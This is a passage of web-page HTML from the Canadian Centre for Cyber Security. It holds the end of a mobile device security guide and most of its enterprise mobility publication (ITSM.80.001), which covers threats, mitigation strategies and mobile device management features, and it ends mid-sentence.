id="2.2.9">2.2.9 Erase your device before disposing of it</h4> <p>Erasing your device before disposal is a critical step to protect sensitive data from unauthorized access. This involves securely wiping or deleting all data to prevent privacy and security risks such as identity theft or financial fraud. Proper data erasure methods include performing a factory reset, using specialized software or physically destroying the device.</p> <h4 id="2.2.10">2.2.10 Ignore unsolicited emails</h4> <p>Threat actors often send fraudulent emails, aiming to replicate legitimate sources and trick individuals into revealing personal information. This tactic is widely known as phishing. Avoid clicking on any links embedded in emails, as threat actors can create fake links that may compromise your security.</p> <p>Similarly, threat actors use <abbr title="text messages">SMS</abbr> in a tactic called smishing to lure victims into sharing personal or financial information, clicking on malicious links, or downloading harmful software or applications. To avoid falling victim to smishing, refrain from clicking on any links in unsolicited messages. Instead, if you’re uncertain about the legitimacy of a message, verify the information directly through official sources like company websites, portals, listed phone numbers or official apps.</p> <p>For additional guidance, refer to:</p> <ul><li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="b5039fc1-841e-42e0-9af9-b93be7d75241" href="/en/guidance/spotting-malicious-email-messages-itsap00100">Spotting malicious email messages (ITSAP.00.100)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="8d072457-288e-4bd1-a076-da037de9ad03" href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks (ITSAP.00.101)</a></li> </ul><h4 id="2.2.11">2.2.11 Use secure network connections</h4> <p>When possible, use public secure networks as they are safer than public insecure networks. Insecure networks can be accessed without passwords and authentication, making them accessible without the need for security encryption keys. This vulnerability exposes them to various security risks, such as malware attacks, denial-of-service attacks and <abbr title="adversary-in-the-middle">AitM</abbr> attacks.</p> <p>As previously mentioned, connecting your mobile device to public Wi-Fi exposes you to potential eavesdropping by malicious actors, jeopardizing sensitive information like credit card numbers, bank account details, passwords and other private data. To mitigate these risks, activate <abbr title="Wi-Fi protection access 3">WPA3</abbr> or preferably <abbr title="Wi-Fi protection access 3">WPA3</abbr> with <abbr title="Simultaneous Authentication of Equals protocol with Public Key Cryptography">SAE-PK</abbr> when possible. Additionally, using your mobile device’s built-in <abbr title="built-in virtual private network">VPN</abbr> adds an extra layer of protection by encrypting Internet activity.</p> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a>  <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h3 id="Additional-ressources">2.3 Additional resources on mobile security</h3> </section><section><p>For more information on mobile security best practices, refer to the Cyber Centre’s publication <a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="38a1fb42-00d7-4f06-89ad-c73fa0e72ce9" href="/en/guidance/using-your-mobile-device-securely-itsap00001">Using your mobile device securely (ITSAP.00.001)</a>. Additionally, the Cybersecurity and Infrastructure Security Agency’s <a href="https://www.cisa.gov/sites/default/files/publications/Mobile%20Device%20Adoption%20Best%20Practices%20Guide-508%20compliant%20041316%20FINAL.pdf">Mobile device adoption best practices (PDF)</a> offers best practices for mobile device users to implement alongside the policies already established within their organizations.</p> <h2 class="text-info" id="Summary">3 Summary</h2> <p>Maintaining good security practices for mobile devices is imperative to mitigate the growing risks of data breaches and unauthorized access. The importance of protecting sensitive data on smartphones, tablets and other mobile devices is highlighted by the evolving threats posed by threat actors seeking to gain unauthorized access and compromise privacy.</p> <p>The best practices outlined in this publication aim to strengthen the security posture of mobile devices. Combining technical measures with user habits creates a comprehensive approach to mobile security and can help maintain the confidentiality, integrity and availability of information. By adhering to these guidelines, you can significantly minimize the threats to your mobile devices and better safeguard your personal information and that of your organization.</p> </section><section><h3>Effective date</h3> <p>This publication takes effect on May 4, 2026.</p> <p>This is an UNCLASSIFIED publication that has been issued under the authority of the Head of the Canadian Centre for Cyber Security (Cyber Centre). For more information, email or phone our Contact Centre:</p> <p><span class="glyphicon glyphicon-envelope"></span><span class="wb-inv">email</span> <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a> |<span class="glyphicon glyphicon-phone"></span><span class="wb-inv">Mobile</span> <a href="tel:613-949-7048">613-949-7048</a> or <a href="tel:+1-833-292-3788">1<span>‑</span>833<span>‑</span>CYBER<span>‑</span>88</a></p> <h3>Revision history</h3> <ol class="lst-spcd"><li>First release: May 6, 2026</li> </ol></section></div> </div> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7662" about="/en/guidance/securing-enterprise-mobility-itsm80001" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><!–ENGLISH Intro paragraph plus pdf download–> <div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>May 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Management series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSM.80.001</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>May 2026 | Management series</strong></p> </div> <div class="col-md-12 mrgn-tp-lg"> <p>This publication provides an overview of enterprise mobility security and lists some of the threats and risks that mobile devices can pose to your organization. It outlines mitigation strategies and safeguards your organization can implement. Lastly, it describes the benefits and features of mobile management solution tools for organizations with more complex information technology (IT) infrastructures.</p> <p>It is important to note that these recommendations are not comprehensive. Furthermore, even if all possible mitigation strategies are properly implemented, a residual risk to your organization’s network and information assets remains.</p> <section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul><li><a href="#intro">1 Introduction</a></li> <li><a href="#EM-buisness">2 Enterprise mobility business drivers</a></li> <li><a href="#EM-overview">3 Enterprise mobility overview</a> <ul><li><a href="#Mobile">3.1 Mobile devices</a></li> <li><a href="#Wireless-comms">3.2 Wireless communication networks</a></li> <li><a href="#Enterprise-infra">3.3 Enterprise infrastructure</a></li> <li><a href="#Services-app">3.4 Service and applications</a></li> </ul></li> <li><a href="#Mobile-security-vul">4 Mobile device security vulnerabilities</a> <ul><li><a href="#Vulnerability-exploit">4.1 How threat actors exploit these vulnerabilities</a></li> </ul></li> <li><a href="#Threat-risks">5 Threats and risks to the enterprise</a> <ul><li><a href="#Credential-authentification">5.1 Loss of authentication credentials</a></li> <li><a href="#Improper-disposal">5.2 Improper disposal of old mobile devices with sensitive configurations and data</a></li> <li><a href="#Improper-social">5.3 Improper use of social media applications</a></li> <li><a href="#Exploit-devices">5.4 Exploitation of lost or stolen devices</a></li> <li><a href="#Tracking-behaviour">5.5 Threat actors tracking employee behaviour</a></li> <li><a href="#priviledge-misuse">5.6 Authorized equipment users attempting to misuse their privileges</a></li> <li><a href="#untrust-app">5.7 Untrusted app stores</a></li> </ul></li> <li><a href="#Migitation-strat">6 Mitigation strategies</a> <ul><li><a href="#mobile-security-policy">6.1 Implement a mobile device security policy</a></li> <li><a href="#policy-byod">6.2 Implement a policy and user agreements for bring-your-own-device deployments</a></li> <li><a href="#employee-training">6.3 Establish and implement employee training and awareness programs</a></li> <li><a href="#risk-assessments-mobile">6.4 Perform threat and risk assessments for mobile device use</a></li> <li><a href="#security-measures">6.5 Implement the necessary security measures</a></li> <li><a href="#before-deploying">6.6 Before deploying a mobile device solution</a></li> <li><a href="#maintain-mobile-security">6.7 Maintain mobile device security</a></li> <li><a href="#manage-lifcycle">6.8 Manage the lifecycle of mobile devices </a></li> </ul></li> <li><a href="#Mobility-management">7 Mobility management solutions</a> <ul><li><a href="#benefits-management">7.1 Benefits of mobile management tools</a></li> <li><a href="#Common-management">7.2 Common mobile device management and enterprise mobility management features</a></li> <li><a href="#Additional-capabilities">7.3 Additional mobile management solution capabilities</a></li> </ul></li> <li><a href="#CC-mobility-suite">8 Cyber Centre’s mobility suite</a></li> <li><a href="#Summary">9 Summary</a></li> </ul></details></section><section><h2 class="text-info" id="intro">Introduction</h2> <p>Mobile devices such as smartphones, tablets and laptops are key components for your organization. They contain powerful computing capabilities, as well as the ability to communicate wirelessly. Although mobile devices enable collaboration and boost productivity and efficiency, they can also increase the risk of a compromise to your organization’s sensitive information. Your organization should implement security controls and safeguards before mobile devices are allowed to access the organization’s network.</p> <p>This publication offers guidance to help your organization understand the security threats and risks associated with mobile devices. It also provides mitigation strategies and mobile management solutions you can implement to minimize the impact on your organization.</p> </section><section><h2 class="text-info" id="EM-buisness">Enterprise mobility business drivers</h2> <p>Mobile devices have become an integral part of most organizations’ business operations. They offer employees flexibility, help improve productivity, and allow for quicker collaboration for decision-making. Employees require access to the latest technologies to perform their tasks and help them reach their goals. Organizations use mobile devices for the following reasons:</p> <ul><li><strong>Ease of use</strong>: Mobile devices have user-friendly interfaces that can be customized to meet employee and organization needs</li> <li><strong>Anytime, anywhere connectivity:</strong> Employees can remotely access business data, enterprise services and applications. This is especially important for employees who travel frequently, work at various sites, or have a patrol or delivery route.</li> <li><strong>Customization:</strong> Organizations can customize device settings to improve convenience and flexibility for employees</li> <li><strong>Cloud computing:</strong> Many organizations use cloud-based infrastructures to deliver services</li> <li><strong>Cost:</strong> Using mobile devices and service providers can lower program costs and reduce technical obsolescence issues</li> </ul></section><section><h2 class="text-info" id="EM-overview">Enterprise mobility overview</h2> <p>Enterprise mobility allows mobile devices such as smartphones, tablets and laptops to access your organization’s networks and services through commercial cellular networks and Wi-Fi. The basic segments of the enterprise mobility architecture consist of mobile devices, wireless communication networks, enterprise infrastructure, and services and applications. If your organization chooses to include mobile devices as part of your enterprise architecture, ensure you understand the related risks.</p> <h3 id="Mobile">3.1 Mobile devices</h3> <p>Mobile devices are widely available, cost effective and contain updated features and technology for communications and application functionality. Mobile device features are constantly changing and allow users to:</p> <ul><li>connect to wireless networks for voice and data communications</li> <li>store information</li> <li>access global positioning systems (GPS)</li> <li>use digital video cameras</li> </ul><h3 id="Wireless-comms">3.2 Wireless communication networks</h3> <p>There are 3 major types of wireless communication networks:</p> <ul><li>cellular networks, which are managed by commercial carriers and provide coverage by dividing a large geographical service area into smaller areas</li> <li>Wi-Fi networks, which businesses or consumers can establish to provide a networking service within a limited geographic area, such as a home, office or place of business</li> <li>other wireless networks, some of which may not conform to the Wi-Fi standard; for example, Bluetooth is often used to connect to nearby devices, such as headsets or keyboards</li> </ul><h3 id="Enterprise-infra">3.3 Enterprise infrastructure</h3> <p>The enterprise infrastructure provides the hardware, software, network resources and services required to create, operate and manage an enterprise <abbr title="information technology">IT</abbr> environment. This infrastructure enables your organization to deliver <abbr title="information technology">IT</abbr> solutions and services to employees, partners and clients. Your organization’s enterprise infrastructure may also host mobility-specific applications or allow your systems to interact with other mobile devices. The enterprise mobility capability helps secure and manage interactions between your organization’s enterprise services and authorized devices and users, ensuring a seamless and protected experience.</p> <h3 id="Services-app">3.4 Service and applications</h3> <p>These are the existing and evolving services provided for all enterprise users, including mobile users. This may include unified communications such as data (for example, email and chat), voice (for example, telephone and teleconferencing), and applications or web interfaces.</p> </section><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <p><span class="clearfix"> </span></p> <section><h2 class="text-info" id="Mobile-security-vul">4 Mobile device security vulnerabilities</h2> <p>The use of mobile devices, wireless networks, and voice and data services exposes organizations to a range of threats. These threats include deliberate actions by threat actors or accidental actions by authorized users. For example, threat actors might focus on a specific enterprise with the goal of compromising its clients. Organizations must also consider phishing attacks, ransomware incidents, unauthorized data access and network vulnerabilities. These risks must be addressed and sufficiently mitigated to achieve acceptable risk levels. Lastly, loss or theft of mobile devices can also create security risks for your organization, as threat actors can compromise the device and gain access to your systems and data.</p> <p>There are various mitigation strategies to address these threats, and most of them work together. In particular, the enterprise mobility infrastructure and existing enterprise capabilities can provide strong security features to protect mobile devices and employee communications.</p> <p>Mobile devices are generally at higher risk of exposure than devices that are used only within an organization’s facilities, on an organization’s networks. Therefore, they often need additional protection. You should be aware of the following major security vulnerabilities when using mobile devices:</p> <ul><li>lack of physical security controls</li> <li>untrusted mobile devices</li> <li>untrusted networks</li> <li>untrusted applications</li> <li>interaction with other systems</li> <li>untrusted content</li> <li>location services</li> </ul><h3 id="Vulnerability-exploit">4.1 How threat actors exploit these vulnerabilities</h3> <p>Some threats are intended to compromise the mobile device itself, while others are intended to ultimately infiltrate and compromise the enterprise. Some of the main threats that threat actors exploit on mobile devices include:</p> <ul><li>identifying, targeting and delivering malware to the device</li> <li>using the network connections of the device (cellular, Wi-Fi, Bluetooth) for nefarious purposes, such as exploiting flaws to compromise the device or to track its location</li> <li>using the device to infiltrate other organizational networks</li> <li>accessing the device to track location through <abbr title="global positioning systems">GPS</abbr> and other location services</li> <li>activating the microphone or camera to access data</li> <li>intercepting voice and data communications to exfiltrate sensitive data</li> <li>using third-party software to gain access to device features</li> <li>modifying the device, including changing its hardware or software remotely, by physically accessing the device or by intervening in the supply chain process</li> <li>exploiting software flaws in operating systems (OS) and applications to exploit</li> </ul></section><section><h2 class="text-info" id="Threat-risks">5 Threats and risks to the enterprise</h2> <p>Mobile devices have become integral to business operations. However, this increased dependency on mobile technology comes with a spectrum of challenges that organizations must proactively address, including data breaches, unauthorized access, and the persistent threat of malware and phishing attacks. The following examples illustrate some of these challenges.</p> <h3 id="Credential-authentification">5.1 Loss of authentication credentials</h3> <p>The loss of authentication credentials, such as passwords, tokens or private keys for certificates, presents opportunities for unauthorized access to sensitive systems, applications and data. Unauthorized access can lead to data breaches, the compromise of confidential information, and the potential misuse of corporate resources. We recommend you implement phishing-resistant multi-factor authentication (MFA) and educate your users on cyber hygiene principles such as password management.</p> <p>For more information, read <a href="/en/guidance/password-managers-security-itsap30025">Password managers: Security tips (ITSAP.30.025)</a>.</p> <h3 id="Improper-disposal">5.2 Improper disposal of old mobile devices with sensitive configurations and data</h3> <p>Access to sensitive configurations by unauthorized individuals can pose a significant risk, including potential unauthorized data access and breaches. Residual data on devices that are not wiped properly poses an ongoing threat, even after the devices have been disposed of. Non-compliance with privacy regulations may result in legal consequences, fines and reputational damage.</p> <p>For more information, read <a href="/en/guidance/sanitization-and-disposal-electronic-devices-itsap40006">Sanitization and disposal of electronic devices (ITSP.40.006)</a> and <a href="/en/guidance/it-media-sanitization-itsp40006"><abbr title="information technology">IT</abbr> media sanitization (ITSP.40.006)</a>.</p> <h3 id="Improper-social">5.3 Improper use of social media applications</h3> <p>Threat actors can exploit security vulnerabilities within social media applications installed on corporate mobile devices. If the applications contain vulnerabilities, most often from poorly written code, threat actors can leverage them to access corporate data storage. Social media applications conduct data mining to understand and predict human behaviour and if installed on corporate devices or networks, they can collect data about your organization, including contact lists or aspects of the corporate network. We recommend implementing corporate control over the applications’ permissions and using mobile device management (MDM) restrictions.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <h3 id="Exploit-devices">5.4 Exploitation of lost or stolen devices</h3> <p>Threat actors may exploit lost or stolen devices to try and gain entry to the enterprise infrastructure or to pose as an authorized user. Identity masquerading is a significant threat and could lead to the exploitation of enterprise resources, operational disruptions and the compromise of confidential business information.</p> <h3 id="Tracking-behaviour">5.5 Threat actors tracking employee behaviour</h3> <p>Threat actors may observe employee behaviour through compromised devices in order to violate privacy and gather personal information, which can subsequently be used for entrapment or blackmail. This type of intrusion can damage the affected employee’s personal and professional life and contribute to broader consequences for the organization’s reputation and workplace trust.</p> <p>For more information, read <a href="/en/guidance/social-engineering-itsap00166">Social engineering (ITSAP.00.166)</a> and <a href="/en/guidance/digital-footprint-itsap00133">Digital footprint (ITSAP.00.133)</a>.</p> <h3 id="priviledge-misuse">5.6 Authorized equipment users attempting to misuse their privileges</h3> <p>If employees fail to adhere to security policies, it can increase vulnerabilities and the potential for data breaches. It may also compromise the integrity of devices rendering them more susceptible to security threats. Employees may misuse their privileges by attempting to access unauthorized services or applications, or by connecting directly to commercial platforms that are not permitted.</p> <h3 id="untrust-app">5.7 Untrusted app stores</h3> <p>The primary risk posed by applications downloaded from untrusted app stores is the potential compromise of a device’s security and user data caused by malware. Applications can be repackaged to include malware without the user realizing. The user may unknowingly expose themself to harmful activities such as sensitive data exposure ,or unauthorized surveillance. This can lead to identity theft, financial losses, and significant privacy breaches for both the user and the organization.</p> </section><section><h2 class="text-info" id="Migitation-strat">6 Mitigation strategies</h2> <p>To protect sensitive information and networks, organizations should implement a defence-in-depth strategy. This includes placing multiple layers of security throughout an <abbr title="information technology">IT</abbr> system to provide redundancy if a security control fails or a vulnerability is exploited. A defence-in-depth strategy has 3 layers that focus on 3 key elements: people, technology and operations.</p> <p>As part of a defence-in-depth strategy, the following section provides additional advice on <abbr title="mobile device management">MDM</abbr> and mitigation actions your organization can take to better secure mobile devices.</p> <h3 id="mobile-security-policy">6.1 Implement a mobile device security policy</h3> <p>A mobile device security policy should define what resources can be accessed via mobile devices, the degree of access granted to mobile devices, and what types of mobile devices are permitted to access organization resources (for example, organization-issued devices versus personal devices). The policy should also cover how <abbr title="mobile device management">MDM</abbr> servers are administered, how policies in <abbr title="mobile device management">MDM</abbr> servers are updated and all other requirements for <abbr title="mobile device management">MDM</abbr> technologies. The mobile device security policy should be documented in the departmental security plan.</p> <h3 id="policy-byod">6.2 Implement a policy and user agreements for bring-your-own-device deployments</h3> <p>The bring-your-own-device (BYOD) policy should clearly define your organization’s authorities granted under legislation, regulation and user agreements to manage, monitor and respond to threats arising from personally owned mobile devices. Key considerations should include:</p> <ul><li>addressing the impact of monitoring capabilities on privacy risks</li> <li>outlining response strategies based on deployment models</li> <li>defining the organization’s authorities in triaging and responding to security incidents on personal devices</li> </ul><p>The goal is to establish a robust operational framework to effectively mitigate security risks in <abbr title="bring-your-own-device">BYOD</abbr> environments. Your organization should consider mitigation actions such as segregating guest and <abbr title="bring-your-own-device">BYOD</abbr> Wi-Fi networks from your corporate Wi-Fi network. To determine if implementing a <abbr title="bring-your-own-device">BYOD</abbr> deployment model is suitable for your organization, consult the <a href="/en/guidance/end-user-device-security-bring-your-own-device-byod-deployment-models-itsm70003">End user device security for Bring-Your-Own-Device (BYOD) deployment models (ITSM.70.003)</a> publication.</p> <h3 id="employee-training">6.3 Establish and implement employee training and awareness programs</h3> <p>Information security is the responsibility of everyone in the organization. Your organization should clearly define, communicate and support employee responsibility with effective education and awareness. Opening a single malicious email attachment or accessing just a single malicious website can compromise an entire network. Employee diligence is an important factor for business continuity in the face of today’s cyber threats. It is essential that senior management actively endorse and advance awareness initiatives, integrating them into the organization’s strategic framework.</p> <h3 id="risk-assessments-mobile">6.4 Perform threat and risk assessments for mobile device use</h3> <p>Mobile devices often need additional protection because their mobile nature exposes them to more threats than other devices. Before designing and deploying mobile device solutions, organizations should perform threat and risk assessments (TRAs). TRAs assist organizations in determining security requirements and in developing mobile device solutions that incorporate appropriate security controls.</p> <p>In a TRA, you should:</p> <ul><li>identify resources of interest, vulnerabilities and security controls related to these resources</li> <li>quantify the most likely threats and their likelihood of a successful attack and their impacts</li> <li>analyze this information to determine where security controls should be improved or added</li> </ul><p>Factors like international travel can impact TRAs. Organizations should consider the risks associated with using mobile devices abroad. Specific risk assessments for individual travel or foreign telework agreements are covered in the Cyber Centre’s publication <a href="/en/guidance/device-security-travel-and-telework-abroad-itsap00188">Device security for travel and telework abroad (ITSAP.00.188)</a>. Additionally, <a href="/en/guidance/mobile-device-guidance-high-profile-travellers-itsap-00088">Mobile device guidance for high-profile travellers (ITSAP.00.088)</a> outlines common threats and security measures to safeguard mobile devices before, during and after travel.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <h3 id="security-measures">6.5 Implement the necessary security measures</h3> <p>Organizations should consider the merits of each security measure, determine which controls are needed, and then implement the solutions that provide the necessary security posture. Organizations should consider the following security measures:</p> <ul><li>Enforcing departmental security policies on mobile devices, such as restricting access to hardware and software, managing wireless network interfaces, and automatically monitoring, detecting and reporting policy violations</li> <li>Supporting strongly encrypted data communications and data storage</li> <li>Securely wiping a device before reissuing it and remotely wiping a device if it is lost or stolen</li> <li>Requiring device authentication before allowing the mobile device to access departmental resources</li> <li>Restricting which third-party applications can be installed on mobile devices</li> <li>Determining the permissions assigned to each application and verifying digital signatures on applications</li> <li>Detecting and documenting anomalies within the mobile device infrastructure, including unauthorized configuration changes to mobile devices</li> </ul><p>Once an application has collected data, that data is no longer under enterprise control. Users should not trust claims of data “anonymization” by application developers. Relying on app store vetting alone is insufficient to ensure that an app will not compromise data. App stores primarily scan for overt malware and may allow behind-the-scenes data collection activities for advertising or analytics.</p> <h3 id="before-deploying">6.6 Before deploying a mobile device solution</h3> <p>Before establishing a mobile device solution organizations should evaluate the following security aspects of the environment accounting for each type of mobile device that the organization intends to use:</p> <ul><li>connectivity</li> <li>protection</li> <li>authentication</li> <li>application functionality</li> <li>solution management</li> <li>logging</li> <li>performance</li> </ul><p>All components of the system should be updated with the latest patches and configured in accordance with sound security practices. Secure organization-issued mobile devices before allowing user access.</p> <p>Ensuring that every device is fully secured prior to granting user access establishes a foundational level of trust in the device before it encounters potential security threats. Any previously deployed organization-issued mobile devices with unknown security profiles should be fully secured to a known good state using <abbr title="mobile device management">MDM</abbr> technologies. Organizations should also deploy supplemental security controls, such as anti-virus software and data-loss prevention (DLP) technologies.</p> <h3 id="maintain-mobile-security">6.7 Maintain mobile device security</h3> <p>Organizations should implement the following processes for maintaining mobile device security:</p> <ul><li>Regularly installing upgrades and patches to enhance device protection</li> <li>Adjusting access control settings as needed to maintain security standards</li> <li>Maintaining an up-to-date inventory detailing each mobile device, its assigned user and installed applications</li> <li>Revoking access to or deleting applications that have been assessed as too risky</li> <li>Safeguarding sensitive data by sanitizing mobile devices before issuing them for reuse</li> <li>Implementing an incident response plan that details how to address high-risk and compromised devices</li> </ul><p>Organizations should perform audits periodically to ensure that their mobile device policies, processes and procedures are being followed properly.</p> <p>Organizations with more mature <abbr title="information technology">IT</abbr> infrastructure and business processes should choose a mobility management solution that enables enhanced business features, such as mobile access to corporate email, calendars, contact lists and other corporate applications, to integrate seamlessly with corporate authentication mechanisms. The mobility management solution should also maintain the security of the mobility enterprise. There are different mobile management solutions with distinct capabilities. In industry, these solutions are referred to as <abbr title="mobile device management">MDM</abbr>, enterprise mobility management (EMM) and unified endpoint management (UEM).</p> <a href="#Mobility-management">Section 7 Mobility management solutions</a> will provide an overview of the different categories of mobility management solutions, as well as strategies to help you choose the solution that best suits your organization’s needs. <h3 id="manage-lifcycle">6.8 Manage the lifecycle of mobile devices</h3> <p>Your organization should ensure you have a process for identifying mobile device vendors that provide procedures and solutions to manage end-of-life (EoL) devices. For laptops, this can also include EoL for operating systems. You should also ensure that your vendors adhere to supply chain integrity (SCI) risk assessments, which should be conducted prior to procuring devices.</p> <p>Ensure you have procedures in place to lifecycle of <abbr title="end-of-life">EoL</abbr> devices, to properly sanitize the device once recovered from the user, and to dispose of the device in a secure manner. For more information on device sanitization and destruction, read <a href="/en/guidance/sanitization-and-disposal-electronic-devices-itsap40006">Sanitization and disposal of electronic devices (ITSAP.40.006)</a>.</p> </section><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="Mobility-management">7 Mobility management solutions</h2> <p>Mobile devices have become essential for many organizations, enabling more efficient execution of business activities. With greater amounts of sensitive data now passing through endpoints and being exchanged between mobile devices, information sharing has reached unprecedented levels. If mobile devices are not managed properly, they can put your organization’s data and network security at risk. Proactively managing these devices across all business operations and implementing a strong mobility management solution is critical to protect your organization from potential data breaches.</p> <p>Managing mobile devices is a unified approach that encompasses various categories of mobile management solutions, referred to in industry as <abbr title="mobile device management">MDM</abbr>, EMM, and UEM. Mobile management solutions apply software, processes and security policies to mobile devices in their usage. Understanding the different features offered by various mobile management solutions will help you choose the best solution for your organization.</p> <p>There is little difference between <abbr title="mobile device management">MDM</abbr> and EMM, and the 2 terms are often used interchangeably. <abbr title="mobile device management">MDM</abbr> focuses on fundamental tasks such as:</p> <ul><li>enrolling and configuring devices</li> <li>managing credentials</li> <li>enforcing password and functionality restrictions</li> <li>managing <abbr title="bring-your-own-device">BYOD</abbr> profiles</li> <li>facilitating device management and support functions, such as inventory audits, password resets and remote wipes</li> </ul><p>EMM encompasses all <abbr title="mobile device management">MDM</abbr> functionalities, with additional advanced features such as:</p> <ul><li>more sophisticated containerization</li> <li>management of corporate credentials and authentication mechanisms</li> <li>advanced mobile application management</li> <li>integration with other enterprise platforms</li> </ul><p>EMM also extends <abbr title="mobile device management">MDM</abbr> capabilities through features like mobile application management and mobile threat response applications.</p> <p>UEM is a unified holistic mobile management solution that encompasses <abbr title="mobile device management">MDM</abbr>, EMM and other mobile management capabilities to address security concerns related to managing corporate data while increasing connectivity and productivity. While <abbr title="mobile device management">MDM</abbr> and EMM solutions are dedicated to managing mobile devices, UEM allows organizations to distribute, manage, control and track other endpoint devices in the workplace, such as personal computers, tablets, Internet of Things (IoT) devices, printers and wearables.</p> <p>We encourage organizations to conduct a security threat assessment using a framework like <a href="/en/guidance/cyber-security-privacy-risk-management">Cyber security and privacy risk management series: A lifecycle approach (ITSP.10.033)</a> to determine their security requirements and acceptable level of risk, rather than focusing on terms. A threat assessment will also help identify the technical security controls required to address these threat areas, which will help organizations choose a mobility management solution.</p> <p>Identifying and implementing a narrower set of technical controls, along with other security controls and policies as per <a href="/en/guidance/cyber-security-privacy-risk-management">Cyber security and privacy risk management: A lifecycle approach</a>, can help organizations mitigate risks while balancing the user experience, flexibility and functionality promised by mobile devices. Once implemented, test and adjust the controls periodically to ensure that they are functional and providing adequate security.</p> <h3 id="benefits-management">7.1 Benefits of mobile management tools</h3> <p>Mobile management tools can secure, monitor, manage and support mobile devices such as smartphones and tablets that run on multiple platforms and are deployed within a network. These tools control and protect data and configuration settings. With these tools, your <abbr title="information technology">IT</abbr> administrator can configure devices according to employee job requirements and install the applications needed for work purposes.</p> <p>A wide range of mobile management tools are available, from basic solutions that control a mobile device’s security settings to more advanced solutions that extend and enforce a mobile device’s security policies and controls and provide seamless integration with your organization’s systems and services.</p> <p>An optimal mobile management solution must consider the product’s capabilities and the mobile device platforms, as well as security feature capabilities and support. Consider the type of mobile devices your organization uses before choosing a mobile management solution.</p> <p>Do not rely on an <abbr title="mobile device management">MDM</abbr> solution to make up for poor mobile device security. <abbr title="mobile device management">MDM</abbr> tools cannot add missing security features to a platform or device; they can only use the security features and controls that a mobile device platform supports natively.</p> <p>Your organization should choose the solution that best suits its business and security needs by considering the following:</p> <ul><li>level of control needed depending on the sensitivity of the data being handled</li> <li>budget available for specific deployment models (for example, hardware supply or <abbr title="information technology">IT</abbr> support)</li> <li>best balance between business and personal use</li> </ul><p>It is important for your organization to train employees on privacy and security best practices to ensure devices are used safely with the deployment model your organization selects.</p> <p>In addition to the mitigation strategies provided in this publication, you can reference the <a href="https://www.cisa.gov/sites/default/files/publications/CEG_Mobile_Device_Cybersecurity_Checklist_for_Organizations_0.pdf">Mobile Device Cybersecurity Checklist for Organizations (PDF)</a> developed by the Cybersecurity and Infrastructure Security Agency (CISA). This checklist provides best practices to help organizations protect their mobile enterprise by mitigating security vulnerabilities and ensuring secure mobile access to enterprise resources.</p> <h3 id="Common-management">7.2 Common mobile device management and enterprise mobility management features</h3> <p><abbr title="mobile device management">MDM</abbr> and EMM solutions offer many features to address mobile device security, compliance and operational efficiency. Some common features include:</p> <ul><li>mobile device management <ul><li>deploy and enroll</li> <li>provision devices—device settings, restrictions, credentials</li> <li>control devices—audit devices, reset passwords, remote wipe</li> <li>manage applications—control what applications can be loaded and used</li> <li>track inventory</li> </ul></li> <li>mobile device security <ul><li>enforce security policies, real-time monitoring and reporting</li> <li>enforce strong passwords for mobile device access</li> <li>prevent unauthorized device access using a remote lock</li> <li>perform remote wiping if device is stolen or lost</li> <li>protect device from unsecured Wi-Fi and Bluetooth connections</li> </ul></li> <li>facilitation of corporate data security <ul><li>mandate data encryption for both data-in-transit and data-at-rest</li> <li>enforce the use of virtual private network (VPN) connection between the mobile device and the organization’s server</li> <li>automatically back up essential data from the device to the main server</li> </ul></li> <li>messaging and email integration—fully integrate and support all major features (calendar, contacts, support for all major platforms)</li> <li>enterprise enablers—provide support, access and control for intranet and corporate web services and applications</li> </ul><h3 id="Additional-capabilities">7.3 Additional mobile management solution capabilities</h3> <p>Larger organizations that have complex mobile device infrastructures and require a more comprehensive solution can consider some of the following additional capabilities that certain mobile management tools offer.</p> <h4>7.3.1 Mobile application management</h4> <p>Mobile application management (MAM) involves deploying, managing and controlling specific business applications on <abbr title="bring-your-own-device">BYOD</abbr> and company-owned/personally enabled (COPE) devices. MAM allows organizations to segregate personal and business applications, and to create a personalized enterprise application store. With MAM, administrators can push, install, patch and update mobile business applications as required, and configure the applications to comply with specific policies. MAM also supports inventory management, application lifecycle management and software licensing management.</p> <h4>7.3.2 Mobile content management</h4> <p>Mobile content management (MCM) is a security tool that manages content access on mobile devices. It allows employees to access, distribute and store work-related files, information and data without compromising security or the end-user experience. It offers ease of collaboration across secured networks and <abbr title="mobile device management">MDM</abbr>-registered devices. <abbr title="Mobile content management">MCM</abbr> enables the administrator to restrict access rights to 